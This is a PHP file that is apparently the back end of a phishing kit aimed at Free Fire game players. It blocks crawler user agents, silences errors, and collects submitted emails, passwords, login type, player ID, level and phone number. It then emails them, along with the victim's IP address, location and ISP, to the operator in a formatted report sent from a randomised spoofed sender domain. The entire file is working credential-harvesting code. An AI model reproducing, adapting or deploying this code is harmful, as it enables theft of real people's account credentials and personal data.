<?php
ini_set('display_errors', 0);
ini_set('log_errors', 0);
error_reporting(0);
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('#Mozilla/4.05 [fr] (Win98; I)#',$ua) || preg_match('/Java1.1.4/si',$ua) || preg_match('/MS FrontPage Express/si',$ua) || preg_match('/HTTrack/si',$ua) || preg_match('/IDentity/si',$ua) || preg_match('/HyperBrowser/si',$ua) || preg_match('/Lynx/si',$ua)) 
{
header('Location: oops.php');
die();
}

include 'system/shagitz.php';
include 'email.php';

$email = $_POST['email'];
$email2 = $_POST['email2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
$userid = $_POST['playid'];
$login = $_POST['login'];
$nickname = $_POST['nickname'];
$level = $_POST['level'];
$phone = $_POST['phone'];



if($email == "" && $password == "" && $login == ""){
header("Location: index.php");
}else{

$isi_file = file_get_contents("chy/checkLogin.txt");
if (strpos($isi_file, "|" . $email . "-") !== false) {
    die(); 
}
$myfile = fopen("chy/checkLogin.txt", "a") or die();
fwrite($myfile, "|" . $email . "-" . $login);
fclose($myfile);
$subjek = "$shagitz_countryCode - $shagitz_flag [$shagitz_callcode] | FF LEVEL [$level] | LOGIN $login | EMAIL $email";
$pesan = '
<body style="margin:0;padding:0;background:#e0f2fe;font-family:Arial,Helvetica,sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%">
<div style="display:none;max-height:0;overflow:hidden;opacity:0;color:transparent;mso-hide:all">ID '.$userid.' | EMAIL '.$email.'</div>
<table width="100%" cellpadding="0" cellspacing="0" border="0" style="width:100%;background:#e0f2fe;margin:0;padding:0" bgcolor="#e0f2fe">
<tr>
<td align="center" style="padding:18px 10px">
<table cellpadding="0" cellspacing="0" border="0" style="width:100%;max-width:600px;background:#ffffff;border-radius:16px;overflow:hidden;box-shadow:0 10px 30px rgba(0,0,0,0.1)" bgcolor="#ffffff">
<tr>
<td align="center" style="background:#2563eb;padding:0" bgcolor="#2563eb">
<table width="100%" cellpadding="0" cellspacing="0" border="0" style="width:100%;background:linear-gradient(135deg,#38bdf8,#2563eb)" bgcolor="#2563eb">
<tr>
<td align="center" style="padding:28px;box-shadow:inset 0 0 25px rgba(255,255,255,0.35)">
<div style="font-size:22px;font-weight:bold;color:#ffffff;letter-spacing:1px;text-shadow:0 0 12px rgba(255,255,255,0.8)">CAHYO SR II</div>
<div style="margin-top:8px;font-size:13px;color:#e0f2fe"></div>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td style="padding:22px 18px;background:#ffffff;color:#0f172a" bgcolor="#ffffff">
<table width="100%" cellpadding="0" cellspacing="0" border="0" style="width:100%;border-collapse:collapse">
<tr>
<td colspan="2" style="font-size:16px;font-weight:bold;color:#1e3a8a;padding:0 0 12px 0">ACCOUNT INFORMATION</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">EMAIL</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$email.'</td>
</tr>
<tr>
<td style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">PASSWORD</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$password.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">EMAIL2</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$email2.'</td>
</tr>
<tr>
<td style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">PASSWORD2</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$password2.'</td>
</tr>
<tr>
<td style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">LOGIN</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$login.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">PLAYER ID</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$userid.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">LEVEL</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$level.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;">PHONE</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$phone.'</td>
</tr>
</table>
<table width="100%" cellpadding="0" cellspacing="0" border="0" style="width:100%;margin-top:18px;border-collapse:collapse">
<tr>
<td colspan="2" style="font-size:16px;font-weight:bold;color:#1e3a8a;padding:0 0 12px 0">LOCATION INFORMATION</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">IP ADDRESS</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$shagitz_ipaddress.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">COUNTRY</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$shagitz_country.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">REGION</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$shagitz_regionName.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">CITY</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$shagitz_city.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">TIMEZONE</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$shagitz_timezone.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">ISP</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$shagitz_isp.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">ASN</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$shagitz_as.'</td>
</tr>
<tr>
<td width="30%" style="padding:10px;color:#334155;font-weight:bold;border-bottom:1px solid #dbeafe">TIME</td>
<td style="padding:10px;color:#0f172a;border-bottom:1px solid #dbeafe">'.$jamasuk.'</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center" style="background:#eff6ff;padding:18px;font-size:12px;color:#64748b" bgcolor="#eff6ff">CAHYOSR : 082176679031</td>
</tr>
</table>
</td>
</tr>
</table>
</body>

';
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From: '.$sender.'<web@cahyosr'.random_int(1000, 999999).'.id>' . "\r\n";
$kirim = mail($my_email, $subjek, $pesan, $headers);
}
?>